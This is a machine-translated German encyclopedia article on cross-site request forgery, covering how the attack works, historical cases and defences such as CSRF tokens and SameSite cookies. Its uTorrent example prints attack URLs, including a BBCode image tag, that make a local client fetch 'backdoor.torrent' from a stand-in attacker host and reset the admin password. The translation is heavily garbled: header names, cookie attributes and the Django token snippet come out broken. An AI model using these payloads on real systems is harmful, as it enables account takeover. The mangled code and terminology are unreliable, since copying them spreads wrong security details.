Cross-Site-Anfragefälschung

Cross-Site-Anfragefälschung, auch bekannt als One-Click-Angriff oder Sitzung und abgekürzt wie CSRF (manchmal ausgesprochen Meeres-Surf[1]) oder Xsrf, ist eine Art böswilliger Art Ausbeuten von a Webseite wo unbefugte Befehle von a eingereicht werden Benutzer dass die Webanwendung vertraut.[2] Es gibt viele Möglichkeiten, wie eine böswillige Website solche Befehle übertragen kann. speziell gefertigte Bild-Tags, versteckte Formen und JavaScript XMLHTTPrequests können beispielsweise alle ohne die Interaktion oder sogar das Wissen des Benutzers funktionieren. nicht wie Cross-Site-Scripting (XSS), das den Vertrauen, den ein Benutzer für eine bestimmte Website hat, ausnutzt, nutzt CSRF das Vertrauen, das eine Website im Browser eines Benutzers hat.[3] Bei einem CSRF -Angriff wird ein unschuldiger Endbenutzer von einem Angreifer dazu gebracht, eine Webanfrage einzureichen, die er nicht beabsichtigt hat. Dies kann dazu führen, dass Aktionen auf der Website durchgeführt werden, die unbeabsichtigte Client- oder Serverdatenleckage, Änderung des Sitzungszustands oder Manipulation eines Endbenutzers enthalten können.

Der Begriff "CSRF" wird auch als Abkürzung der Abwehrkräfte gegen CSRF -Angriffe wie Techniken verwendet, die Header -Daten, Formaten oder Cookies verwenden, um solche Angriffe zu testen und zu verhindern.

Eigenschaften

Bei einem CSRF -Angriff ist es das Ziel des Angreifers, ein unschuldiges Opfer zu veranlassen, unwissentlich eine böswillig gestaltete Webanfrage an eine Website einzureichen, auf die das Opfer einen privilegierten Zugriff hat. Diese Webanforderung kann so gestaltet werden, dass URL -Parameter, Cookies und andere Daten enthalten sind, die für die Webserver -Verarbeitung der Anforderung normal erscheinen. Gefährdet sind Web Applikationen die Aktionen ausführen, die auf Eingaben von Trusted und basieren authentifiziert Benutzer ohne den Benutzer zu verlangen autorisieren die spezifische Aktion. Ein Benutzer, der durch a authentifiziert wird Plätzchen im Benutzer gespeichert Webbrowser könnte unwissentlich eine senden Http Fordern Sie eine Website an, die dem Benutzer vertraut und dadurch eine unerwünschte Aktion ausführt.

Eine allgemeine Eigenschaft von Webbrowsern ist, dass sie automatisch und unsichtbar alle Cookies (einschließlich Sitzungscookies und andere) enthalten, die von einer bestimmten Domäne in einer Webanforderung verwendet werden, die an diese Domain gesendet wird. Diese Eigenschaft wird durch CSRF -Angriffe ausgenutzt. Für den Fall, dass ein Benutzer versehentlich eine Anfrage über seinen Browser eingereicht hat, werden diese automatisch enthaltenen Cookies dazu führen Änderungen am Konto des Opfers.

Damit ein CSRF -Angriff funktioniert, muss ein Angreifer eine reproduzierbare Webanforderung identifizieren, die eine bestimmte Aktion ausführt, z. B. das Ändern eines Kontokennworts auf der Zielseite. Sobald eine solche Anfrage identifiziert wurde, kann ein Link erstellt werden, der diese böswillige Anfrage generiert und dieser Link auf einer Seite in die Kontrolle des Angreifers eingebettet werden kann.[1][4] Dieser Link kann so platziert werden, dass das Opfer nicht einmal erforderlich ist, um auf den Link zu klicken. Zum Beispiel kann es in ein HTML -Bild -Tag in einer E -Mail eingebettet sein, die an das Opfer gesendet wird, das automatisch geladen wird, wenn das Opfer seine E -Mail öffnet. Sobald das Opfer auf den Link geklickt hat, findet sein Browser automatisch alle von dieser Website verwendeten Cookies und senden die Anfrage an den Webserver. Der Webserver kann die Fälschung nicht identifizieren, da die Anfrage von einem Benutzer gestellt wurde, der angemeldet wurde, und alle erforderlichen Cookies übermittelt.

Cross-Site-Antragsfälschung ist ein Beispiel für a verwirrter stellvertretender Angriff gegen einen Webbrowser, weil der Webbrowser dazu gebracht wird, eine gefälschte Anfrage durch einen weniger privilegierten Angreifer einzureichen.

CSRF hat üblicherweise die folgenden Eigenschaften:

  • Es handelt sich um Websites, die auf dem eines Benutzers angewiesen sind Identität.
  • Es nutzt das Vertrauen der Website in diese Identität.
  • Es tritt den Browser des Benutzers zum Senden ein Http Anfragen an eine Zielseite, auf der der Benutzer bereits authentifiziert ist.
  • Es handelt sich um HTTP -Anfragen, die haben Nebenwirkungen.

Geschichte

CSRF -Token -Schwachstellen sind seit 2001 bekannt und in einigen Fällen ausgenutzt.[5] Weil es vom Benutzer ausgeführt wird IP AdresseEinige Website -Protokolle haben möglicherweise keine Beweise für CSRF.[2] Heldentaten sind zumindest öffentlich und ab 2007 nicht gemeldet[6] Es gab nur wenige gut dokumentierte Beispiele:

  • Das Netflix Die Website im Jahr 2006 hatte zahlreiche Schwachstellen gegenüber CSRF, die es einem Angreifer ermöglichen können, Aktionen wie das Hinzufügen einer DVD in die Mietwarteschlange des Opfers, die Änderung der Versandadresse auf dem Konto oder die Änderung der Anmeldeinformationen des Opfers, um das Konto vollständig zu beeinträchtigen, zu ändern.[7]
  • Die Online -Banking -Webanwendung von Direkt war anfällig für einen CSRF -Angriff, der illegale Geldtransfers ermöglichte.[8]
  • Beliebte Video -Website Youtube war auch 2008 für CSRF anfällig und ermöglichte es jedem Angreifer, fast alle Aktionen eines Benutzers auszuführen.[8]
  • McAfee Secure war auch für CSRF anfällig und ermöglichte Angreifer, ihr Unternehmenssystem zu ändern. Dies ist in neueren Versionen festgelegt.[9]

2018 wurden neue Angriffe gegen Web-fähige Geräte durchgeführt, einschließlich der Versuche, die DNS-Einstellungen von Routern zu ändern. Einige Router -Hersteller veröffentlichten die Firmware -Updates in hastigem Umfang, um den Schutz zu verbessern, und riet den Benutzern, die Routereinstellungen zu ändern, um das Risiko zu verringern. Details wurden nicht veröffentlicht, unter Berufung auf "offensichtliche Sicherheitsgründe".[10]

Beispiel

A Nationale Datenbank für Schwachstellen Seite, die eine CSRF -Verwundbarkeit beschreibt

Angreifer, die einen reproduzierbaren Link finden, der eine bestimmte Aktion auf der Zielseite ausführt, während das Opfer angemeldet ist, können einen solchen Link auf eine Seite einbetten, die sie kontrollieren und das Opfer dazu bringen, es zu öffnen.[1] Der Angriffslink kann an einem Ort platziert werden, an dem das Opfer wahrscheinlich während der Anmeldung an der Zielstelle (z. B. ein Diskussionsforum) oder in eine HTML -E -Mail -Stelle oder -anhänge gesendet wird. Eine echte CSRF -Sicherheitslücke in Utorrent (CVE-2008-6586) nutzte die Tatsache aus, dass die Webkonsole bei zugänglich ist Lokalhost: 8080 Ermöglichte die Ausführung kritischer Aktionen mit einer einfachen GET -Anfrage:

Kraft a .Torrent Datei download
http: // localhost: 8080/gui/? action = add-url & s = http: //evil.example.com/backdoor.torrent
Ändern Sie das Passwort für das UTorrent -Administrator
http: // localhost: 8080/gui/? action = setSeting & s = webui.password & v = Eviladmin

Angriffe wurden durch die platzierende automatische Aktion gestartet HTML -Bildelemente in Foren und E -Mail -SpamDaher würden Browser, die diese Seiten besuchen, sie automatisch öffnen, ohne viel Benutzeraktion. Personen, die eine schutzbedürftige Utorrent -Version gleichzeitig mit dem Öffnen dieser Seiten leiten, waren für den Angriff anfällig.

CSRF -Angriffe mit Bild -Tags werden häufig aus hergestellt Internetforen, wo Benutzer Bilder veröffentlichen dürfen, aber nicht JavaScriptZum Beispiel verwenden Sie BBCode:

[IMG]http: // localhost: 8080/gui/? action = add-url & s = http: //evil.example.com/backdoor.torrent[/img] 

Beim Zugriff auf die Angriffslink zur örtlichen Utorrent -Anwendung unter Localhost: 8080Der Browser sendet auch immer automatisch vorhanden Kekse für diese Domäne. Mit dieser allgemeinen Eigenschaft von Webbrowsern können CSRF -Angriffe ihre gezielten Schwachstellen ausnutzen und feindliche Aktionen ausführen, solange der Benutzer zum Zeitpunkt des Angriffs auf der Zielwebsite (in diesem Beispiel die lokale Utorrent -Weboberfläche) angemeldet ist.

In dem oben beschriebenen Utorrent -Beispiel wurde der Angriff durch die Tatsache erleichtert, dass die Weboberfläche von Utorrent verwendet wurde Anfrage erhalten Für kritische staatlich ändernde Operationen (Änderung von Anmeldeinformationen, herunterladen eine Datei usw.), die RFC 2616 explizit entmutigt:

Insbesondere wurde der Übereinkommen festgestellt, dass die Get -and -Head -Methoden nicht die Bedeutung haben sollten, eine andere Aktion als das Abrufen zu ergreifen. Diese Methoden sollten als "sicher" angesehen werden. Auf diese Weise können Benutzeragenten andere Methoden darstellen, z. B. Post, Put und Löschen auf besondere Weise, so dass der Benutzer darauf aufmerksam gemacht wird, dass eine möglicherweise unsichere Aktion angefordert wird.

Aufgrund dieser Annahme sind viele bestehende CSRF -Präventionsmechanismen in Webrahmen Wille nicht Startseite Erhalten Sie Anfragen, sondern wenden Sie den Schutz nur auf HTTP-Methoden an, die sich staatlich ändern sollen.[11]

Login -Anfragen für Schmieden

Ein Angreifer kann eine Anfrage gestalten, das Opfer mit den Anmeldeinformationen des Angreifers auf einer Zielwebsite zu protokollieren. Dies ist bekannt als als Login CSRF. Login CSRF ermöglicht verschiedene neuartige Angriffe; Beispielsweise kann sich ein Angreifer später mit seinen legitimen Anmeldeinformationen anmelden und private Informationen wie Aktivitätsgeschichte anzeigen, die im Konto gespeichert wurden. Dieser Angriff wurde gegen gezeigt Google[12] und Yahoo.[13]

HTTP -Verben und CSRF

Abhängig vom Typ die Http Anfordern von Methoden variieren in ihrer Anfälligkeit für die CSRF -Angriffe (aufgrund der Unterschiede in ihrer Handhabung durch die Internetbrowser). Daher hängen die Schutzmaßnahmen gegen einen Angriff von der Methode der HTTP -Anfrage ab.

  • Im Http bekommen Die CSRF -Ausbeutung ist trivial und unter Verwendung der oben beschriebenen Methoden wie einer einfachen Methoden Hyperlink enthält manipulierte Parameter und automatisch von einem geladen IMG -Tag. Nach der HTTP -Spezifikation sollte jedoch als GET verwendet werden sichere MethodeDas ist nicht wesentlich zu ändern. Anwendungen mit GET für solche Vorgänge sollten zu wechseln zu wechseln HTTP -Post oder verwenden Sie Anti-CSRF-Schutz.
  • das HTTP -Post Die Anfälligkeit für CSRF hängt vom Nutzungsszenario ab:
    • In einfachster Form des Beitrags mit Daten, die als codiert sind Abfragezeichenfolge (Field1 = Wert1 & Field2 = Wert2) CSRF -Angriff kann einfach mit einem einfachen implementiert werden HTML -Form und Anti-CSRF-Maßnahmen müssen angewendet werden.
    • Wenn Daten in einem anderen Format gesendet werden (JSON, Xml) Eine Standardmethode besteht darin, eine Postanforderung mithilfe der Anforderung auszugeben Xmlhttprequest mit CSRF -Angriffen durch verhindert von Gleichorientierte Politik (SOP) und Cross-Origin-Ressourcenfreigabe (Cors); Es gibt eine Technik, um willkürliche Inhalte von einem einfachen zu senden HTML -Form Verwendung Enctype Attribut; Eine solche gefälschte Anfrage kann von legitimen von unterschieden werden Text/einfach Inhaltstyp, aber wenn dies nicht auf dem Server durchgesetzt wird, kann CSRF ausgeführt werden[14][15]
  • Andere HTTP -Methoden (put, löschen usw.) können nur mit Verwendung ausgestellt werden Xmlhttprequest mit Gleichorientierte Politik (SOP) und Cross-Origin-Ressourcenfreigabe (CORS) Verhinderung von CSRF; Diese Maßnahmen werden jedoch nicht auf Websites aktiv sein, die sie explizit deaktivieren Zugangskontroll-Allow-Origin: * Header

Andere Ansätze für CSRF

Außerdem kann CSRF zwar als statischer Angriffstyp beschrieben, aber auch als Teil einer Nutzlast für a dynamisch konstruiert werden Cross-Site-Scripting Angriff, wie die von der gezeigt Samy Wurm oder im laufenden Fliegen nach Sitzungsinformationen über Offsite -Inhalte durchgesickert und als bösartige URL an ein Ziel gesendet. CSRF -Token könnten auch von einem Angreifer an einen Kunden gesendet werden Sitzungsfixierung oder andere Schwachstellen oder über einen brutaler Angriff erraten, das auf einer böswilligen Seite gerendert wird, die Tausende fehlgeschlagener Anfragen erzeugt. Die Angriffsklasse der "dynamischen CSRF" oder die Verwendung einer Nutzlast pro Klient für eine Sitzungsspezifische Fälschung wurde beschrieben[16] 2009 von Nathan Hamiel und Shawn Moyer bei den Blackhat Briefings,[17] Obwohl die Taxonomie noch keine breitere Annahme erlangt hat.

Ein neuer Vektor zum Komponieren von dynamischen CSRF -Angriffen wurde von Oren Ofer bei einem lokalen OWASP -Kapitel -Treffen im Januar 2012 - "Ajax Hammer - Dynamic CSRF" - vorgestellt.[18][19]

Auswirkungen

Für CSRF -Token -Schwachstellen, die dazu führen, wurden Schweregradmetriken ausgestellt Remote -Code -Ausführung mit Wurzelprivilegien[20] sowie eine Verletzlichkeit, die a gefährden kann Stammzertifikat, was A vollständig untergraben wird a öffentliche Schlüsselinfrastruktur.[21]

Einschränkungen

Es müssen mehrere Dinge geschehen, damit die Forderung von Cross-Standorten erfolgreich ist, um erfolgreich zu sein:

  1. Der Angreifer muss entweder auf eine Site abzielen, die die nicht überprüft Referrer -Header oder ein Opfer mit einem Browser oder Plugin, das es zulässt Referer -Spoofing.[22]
  2. Der Angreifer muss an der Zielstelle oder eine URL, die Nebenwirkungen hat, eine Formulare finden, die etwas bewirkt (z. B. Geld überträgt oder die E-Mail-Adresse oder das Passwort des Opfers ändert).
  3. Der Angreifer muss die richtigen Werte für alle Formulare oder URL -Eingaben bestimmen. Wenn einer von ihnen geheime Authentifizierungswerte oder IDs sein muss, die der Angreifer nicht erraten kann, wird der Angriff höchstwahrscheinlich fehlschlagen (es sei denn, der Angreifer hat in seiner Vermutung äußerst Glück).
  4. Der Angreifer muss das Opfer zu einer Webseite mit bösem Kodex locken, während das Opfer auf der Zielseite angemeldet ist.

Der Angriff ist blind: Der Angreifer kann nicht sehen, was die Ziel -Website als Antwort auf die gefälschten Anfragen an das Opfer zurücksendet, es sei denn, sie nutzen a Cross-Site-Scripting oder ein anderer Fehler auf der Zielwebsite. In ähnlicher Weise kann der Angreifer nur Links ansprechen oder alle Formulare einreichen, die nach der anfänglichen gefälschten Anfrage auftauchen, wenn diese nachfolgenden Links oder Formulare ähnlich vorhersehbar sind. (Mehrere Ziele können simuliert werden, indem mehrere Bilder auf eine Seite aufgenommen werden oder JavaScript verwendet werden, um eine Verzögerung zwischen Klicks einzuführen.)[23]

Verhütung

Die meisten CSRF -Verhinderungstechniken arbeiten durch Einbetten zusätzlicher Authentifizierungsdaten in Anforderungen, mit denen die Webanwendung Anforderungen von nicht autorisierten Standorten erkennen kann.

Synchronizer -Token -Muster

Synchronizer Token Muster (STP) ist eine Technik, bei der ein Token, ein geheimer und eindeutiger Wert für jede Anforderung in alle HTML -Formulare eingebettet und auf der Serverseite überprüft wird. Das Token kann mit jeder Methode erzeugt werden, die Unvorhersehbarkeit und Einzigartigkeit gewährleistet (z. B. mit a Hash -Kette von zufälligem Samen). Der Angreifer kann daher kein korrektes Token in seinen Anfragen zur Authentifizierung platzieren.[1][24][25]

Beispiel für STP durch Django In HTML -Form:

 Typ ="versteckt" Name ="csrfmiddleWareteoken" Wert ="KBYUMHTLMPYJ7CD2DI7JKP1P3QMLLKPT" /> 

STP ist am kompatibelsten, da es sich nur auf HTML stützt, sondern auf der Serverseite eine gewisse Komplexität einführt, da die Gültigkeit des Tokens auf jeder Anfrage verbunden ist. Da das Token einzigartig und unvorhersehbar ist, erzwingt es auch eine ordnungsgemäße Abfolge von Ereignissen (z. B. Bildschirm 1, dann 2, dann 3), was das Usability -Problem aufwirft (z. B. öffnet der Benutzer mehrere Registerkarten). Es kann entspannt werden, indem es pro Sitzung CSRF -Token anstelle von CSRF -Token verwendet wird.

Cookie-to-Header-Token

Webanwendungen, die verwendet werden JavaScript Für den größten Teil ihrer Operationen kann die folgende Anti-CSRF-Technik verwendet werden:

  • Bei einem ersten Besuch ohne zugehörige Serversitzung legt die Webanwendung ein Cookie fest, das angemessen gescopt wird, damit sie bei Cross-Origin-Anfragen nicht bereitgestellt werden sollte. Der Cookie enthält normalerweise ein zufälliges Token, das für die Lebensdauer der Websitzung gleich bleiben kann
Set-Cookie: __HOST-CSRF_TOKE = I8XNJC4B8KVOK4UW5RFTR38WGP2BFWQL; Läuft ab = dhu, 23-Jul-2015 10:25:33 GMT; Max-alter = 31449600; Path =/; Samesit = lax; Sicher
  • JavaScript Der Betrieb auf der Clientseite liest seinen Wert und kopiert ihn in einen Brauch HTTP -Header mit jeder Transaktionsanforderung gesendet
X-csrf-token: i8xnjc4b8kvok4uw5rftr38wgp2bfwql
  • Der Server überprüft die Präsenz und Integrität des Tokens

Die Sicherheit dieser Technik basiert auf der Annahme, dass nur JavaScript Ausführen auf der Clientseite einer HTTPS -Verbindung zum Server, auf der das Cookie zunächst festgelegt wird, kann den Wert des Cookies lesen. JavaScript, das aus einer Rogue -Datei oder -E -Mail ausgeführt wird, sollte den Cookie -Wert nicht erfolgreich lesen können, um in den benutzerdefinierten Header zu kopieren. Obwohl die csrf-token Plätzchen wird automatisch mit der Rogue -Anfrage gesendet, der Server erwartet weiterhin eine gültige X-csrf-token Header.

Das CSRF -Token selbst sollte einzigartig und unvorhersehbar sein. Es kann zufällig erzeugt werden oder von der abgeleitet werden Session Token Verwendung HMAC:

csrf_token = hmac (Session_token, application_secret)

Das CSRF -Token -Cookie darf nicht haben httponly Flagge, wie es beabsichtigt ist, von der gelesen zu werden JavaScript von Entwurf.

Diese Technik wird von vielen modernen Frameworks implementiert, wie z. Django[26] und Angularjs.[27] Da das Token über die gesamte Benutzersitzung konstant bleibt, funktioniert es gut mit Ajax Bewerbungen, erzwingen jedoch keine Abfolge von Ereignissen in der Webanwendung.

Der Schutz dieser Technik kann bei der Zielwebsite vereitelt werden deaktiviert es ist gleichorientierte Politik Verwenden einer der folgenden Techniken:

  • ClientAccessPolicy.xml Datei zur Gewährung eines unbeabsichtigten Zugriffs auf Silverlight -Steuerelemente[28]
  • Crossdomain.xml Datei zur Gewährung eines unbeabsichtigten Zugriffs auf Flash -Filme[29]

Doppelter Keks einreichen

Ähnlich wie beim Cookie-to-Header-Ansatz kann jedoch ein CSRF-Token als Cookie ein CSRF-Token festlegen und es auch als verstecktes Feld in jedem HTML-Form einfügen. Wenn das Formular eingereicht wird, kann die Website überprüfen, ob das Cookie -Token dem Formular -Token entspricht. Die gleichorientierte Richtlinie verhindert, dass ein Angreifer Cookies auf der Zieldomäne liest oder festgelegt wird, sodass sie kein gültiges Token in ihre verarbeitete Form einfügen können.[30]

Der Vorteil dieser Technik gegenüber dem Synchronizer -Muster besteht darin, dass das Token nicht auf dem Server gespeichert werden muss.

Samesit Cookie Attribut

Ein zusätzliches "Samesit" -attribut kann aufgenommen werden, wenn der Server einen Cookie festlegt, wodurch der Browser festgelegt wird, ob das Cookie an Anforderungen an die Site angeschlossen werden soll. Wenn dieses Attribut auf "strikt" eingestellt ist, wird das Cookie nur auf selben Anfragen gesendet, wodurch CSRF unwirksam wird. Dies erfordert jedoch, dass der Browser das Attribut erkennt und korrekt implementiert.[31]

Kundenseitige Schutzmaßnahmen

Browserverlängerungen wie RequestPolicy (für Mozilla Firefox) oder Umatrix (für Firefox und für Firefox und Google Chrome/Chrom) kann CSRF verhindern, indem sie eine Standard-Deny-Richtlinie für Anfragen im Sichtweiten bereitstellt. Dies kann jedoch den normalen Betrieb vieler Websites erheblich beeinträchtigen. Die CSFire-Erweiterung (auch für Firefox) kann den Einfluss von CSRF mit geringerem Einfluss auf das normale Browsen mildern, indem Authentifizierungsinformationen aus Cross-Site-Anfragen entfernt werden.

Das NoScript Erweiterung für Firefox mindert CSRF -Bedrohungen durch Unterscheidung von Vertrauenswürdigkeiten von nicht vertrauenswürdigen Standorten und Entfernen von Authentifizierung und Nutzlasten von Postanfragen von nicht vertrauenswürdigen Websites an vertrauenswürdige. Das Anwendungsgrenze -Durchsetzungsmodul in NOSCript blockiert auch Anfragen, die von Internetseiten an lokale Websites (z. B. localhost) gesendet werden und CSRF -Angriffe auf lokale Dienste (wie Utorrent) oder Router verhindern.

Die Erweiterung der selbstzerstörenden Cookies für Firefox schützt nicht direkt vor CSRF, sondern kann das Angriffsfenster reduzieren, indem Cookies gelöscht, sobald sie nicht mehr mit einer offenen Registerkarte in Verbindung gebracht werden.

Andere Techniken

Verschiedene andere Techniken wurden historisch gesehen für die CSRF -Prävention verwendet oder vorgeschlagen:

  • Überprüfen Sie, ob die Header der Anfrage enthalten X-Eingereedelte-mit (benutzt von Rubin auf Schienen vor v2.0 und Django vor v1.2.5) oder das HTTP überprüfen Referer Header und/oder HTTP Herkunft Header.[32] Dies ist jedoch unsicher - eine Kombination aus Browser -Plugins und -Leitgerichtungen kann es einem Angreifer ermöglichen, auf eine beliebige Website benutzerdefinierte HTTP -Headers bereitzustellen, wodurch eine gefälschte Anfrage ermöglicht wird.[33][34]
  • Überprüfen der Http Referer Header Um festzustellen, ob die Anfrage von einer autorisierten Seite stammt, wird üblicherweise für eingebettete Netzwerkgeräte verwendet, da sie die Speicheranforderungen nicht erhöht. Eine Anfrage, die das auslässt Referer Der Kopfball muss als nicht autorisiert behandelt werden, weil ein Angreifer die unterdrücken kann Referer Header durch Ausgabe von Anfragen von URLs von FTP oder HTTPS. Das streng Referer Die Validierung kann zu Problemen mit Browsern oder Stellvertretern führen, die die weglassen Referer Header aus Datenschutzgründen. Außerdem ermöglichen alte Versionen von Flash (vor 9.0.18) böswillige Flash, um Anfragen mit beliebigen HTTP -Anforderungsheadern zu generieren oder zu postieren. CRLF -Injektion.[35] Ähnliche Schwachstellen für CRLF -Injektion bei einem Kunden können verwendet werden, um den Überweisung einer HTTP -Anforderung zu fälschen.
  • POST Anforderungsmethode wurde für eine Weile als immun gegen triviale CSRF -Angriffe unter Verwendung von Parametern in der URL (mithilfe von GET -Methode) wahrgenommen. Sowohl Post als auch jede andere HTTP Xmlhttprequest. Wenn Sie unerwartete GET-Anfragen herausfiltern, werden einige bestimmte Angriffe wie z. Elemente (JavaScript Hijacking); Es verhindert auch (nicht sicherheitsbezogene) Probleme mit aggressiven Problemen Webcrawler und Link -Vorabklingung.[1]

Cross-Site-Scripting (XSS) Schwachstellen (auch in anderen Anwendungen, die auf derselben Domäne ausgeführt werden) ermöglichen es den Angreifern, im Wesentlichen alle CSRF -Präventionen zu umgehen.[36]

Siehe auch

Verweise

  1. ^ a b c d e Shiflett, Chris (13. Dezember 2004). "Sicherheitsecke: Cross-Site-Anfrage Fälschungen". PHP | Architekt (über Shiflett.org). Abgerufen 2008-07-03.
  2. ^ a b Ristic, Ivan (2005). Apache -Sicherheit. O'Reilly Media. p.280. ISBN 0-596-00724-8.
  3. ^ https://www.synopsys.com/glossary/what-is-cSrf.html. {{}}: Fehlen oder leer |title= (Hilfe)
  4. ^ "Was ist CSRF (Cross-Site-Anfrage)? Tutorial & Beispiele". portswigger.net. Abgerufen 2019-11-04.
  5. ^ Burns, Jesse (2005). "Cross Site -Anfrage Fälschung: Eine Einführung in eine gemeinsame Webschwäche" (PDF). Information Security Partners, LLC. Abgerufen 2011-12-12.
  6. ^ Christey, Steve; Martin, Robert A. (22. Mai 2007). "Verteilungen vom Typ Schwachstellentyp in CVE (Version 1.1)". Mitre Corporation. Abgerufen 2008-06-07.
  7. ^ Washkuch Jr., Frank (17. Oktober 2006). "Netflix repariert die Cross-Site-Anfrage Fälschungsloch". SC -Magazin. Abgerufen 2019-02-11.
  8. ^ a b William Zeller; Edward W. Felten (Oktober 2008). "Cross-Site-Anfragefälle: Ausbeutung und Prävention" (PDF). Abgerufen 29. Mai 2015.
  9. ^ Mike, Bailey (2009). "CSRF: Ja, es funktioniert immer noch ..." (PDF). Defcon.
  10. ^ "Sicherheitsberater: CSRF & DNS/DHCP/Web -Angriffe". Draytek. Mai 2018. Abgerufen 18. Mai 2018.
  11. ^ "Cross Site Anfrage Forgeryschutz | Django -Dokumentation | Django". docs.djangoproject.com. Abgerufen 2015-08-21.
  12. ^ Adam Barth, Collin Jackson und John C. Mitchell, Robuste Verteidigung für Cross-Site-Anfragefälle, Verfahren der 15. ACM -Konferenz über Computer- und Kommunikationssicherheit, ACM 2008
  13. ^ Joseph Foulds, Passive Überwachung Anmeldeanfrage Fälschung, Yahoo Archiviert 2014-12-22 bei der Wayback -Maschine
  14. ^ "Cross-Site-Anfrage Fälschung für Postanfragen mit einem XML-Körper". PentestMonkey. Abgerufen 4. September, 2015.
  15. ^ Sheeraj Shah (2008). "Web 2.0 Hacking verteidigen Ajax & Web Services" (PDF). Hitb. Abgerufen 4. September, 2015.
  16. ^ "Sicherheitsfix - Weoking Web 2.0".
  17. ^ Dynamisches CSRF Archiviert 2010-02-13 bei der Wayback -Maschine
  18. ^ Owasp.org: Israel 2012/01: Ajax Hammer - Ajax für CSRF -Angriffe nutzen
  19. ^ Downloads-HASC-Research-Hasc-Research-Google Project Hosting. Code.google.com (2013-06-17). Abgerufen am 2014-04-12.
  20. ^ "Schwachstellennotiz VU#584089 - CPANEL XSRF -Schwachstellen".
  21. ^ "Schwachstellennotiz VU#264385 - OpenCA ermöglicht Cross Site Request Forgery (XSRF)".
  22. ^ "Verbesserte Cross-Site-Angriffsprävention". Espacenet. Europäisches Patentamt. Abgerufen 21. November 2019.
  23. ^ "CSRF: Cross-Site-Anfragetätigkeit Angriffe erklärt". Ionos digitalguide. Abgerufen 2022-04-26.
  24. ^ "CSRF-CSRF-Vorbeugung von Site Anfrage (CSRF) -Spreventionsblatt". Owasp. Abgerufen 2019-07-19.
  25. ^ "Valhalla -Artikel - Cross -Site -Anfrage Fälschung: entmystifiziert".
  26. ^ "Cross Site Anfrage Forgeryschutz". Django. Archiviert von das Original Am 2015-01-20. Abgerufen 2015-01-20.
  27. ^ "Cross Site Request Forgery (XSRF) Schutz". Angularjs. Abgerufen 2015-01-20.
  28. ^ "Einen Service über Domänengrenzen hinweg verfügbar machen".
  29. ^ Adamski, Lucas. "Cross -Domänen -Richtliniendatei -Verwendungsempfehlungen für Flash Player - Adobe Developer Connection".
  30. ^ "Doppelte Cookie -Verteidigung". Owasp.
  31. ^ "Samesit Cookies". Mozilla.
  32. ^ Ursprungs -Header -Vorschlag Archiviert 2016-03-08 bei der Wayback -Maschine. People.mozilla.org. Abgerufen am 2013-07-29.
  33. ^ "Django 1.2.5 Versionsnotizen". Django.
  34. ^ "Cross-Site-Anfrage Fälschung (CSRF)". OWASP, das Open Web Application Security Project. 4. September 2012. Abgerufen 11. September 2012.
  35. ^ "Secunia Advisory SA22467". Secunia. 19. Oktober 2006. Abgerufen 11. September 2012.
  36. ^ Schneider, Christian. "CSRF und gleichorientiert XSS". Archiviert von das Original Am 2012-08-14. Abgerufen 2012-04-21.

Externe Links